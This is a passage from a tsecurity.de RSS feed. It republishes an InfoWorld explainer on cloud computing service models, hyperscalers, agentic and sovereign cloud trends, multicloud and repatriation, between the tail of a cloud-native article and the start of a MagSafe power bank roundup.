<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
<link>https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



<p class="wp-block-paragraph"></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 5 Best MagSafe Power Banks for iPhone in 2026]]></title>
<description><![CDATA[Apple’s MagSafe charging ecosystem has drastically changed the way users can power their iPhones while on the move. Rather than carrying around a long cable, the best magnetic power banks in 2026 are able to snap securely to the back of a device, providing users with a convenient way to charge th...]]></description>
<link>https://tsecurity.de/de/3665296/ios-mac-os/the-5-best-magsafe-power-banks-for-iphone-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665296/ios-mac-os/the-5-best-magsafe-power-banks-for-iphone-in-2026/</guid>
<pubDate>Mon, 13 Jul 2026 14:54:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s MagSafe charging ecosystem has drastically changed the way users can power their iPhones while on the move. Rather than carrying around a long cable, the best magnetic power banks in 2026 are able to snap securely to the back of a device, providing users with a convenient way to charge their devices when travelling, commuting, or simply being away from a power outlet. 



Today’s MagSafe-compatible batteries go well beyond portability. With features like Qi2 and Qi2.2 certification, faster wireless charging, and slimmer designs, among other features, they can be far more practical than models of the past. Based on charging speeds, small profiles, and good value, we’re taking a look at the five best MagSafe power banks for your iPhone. 



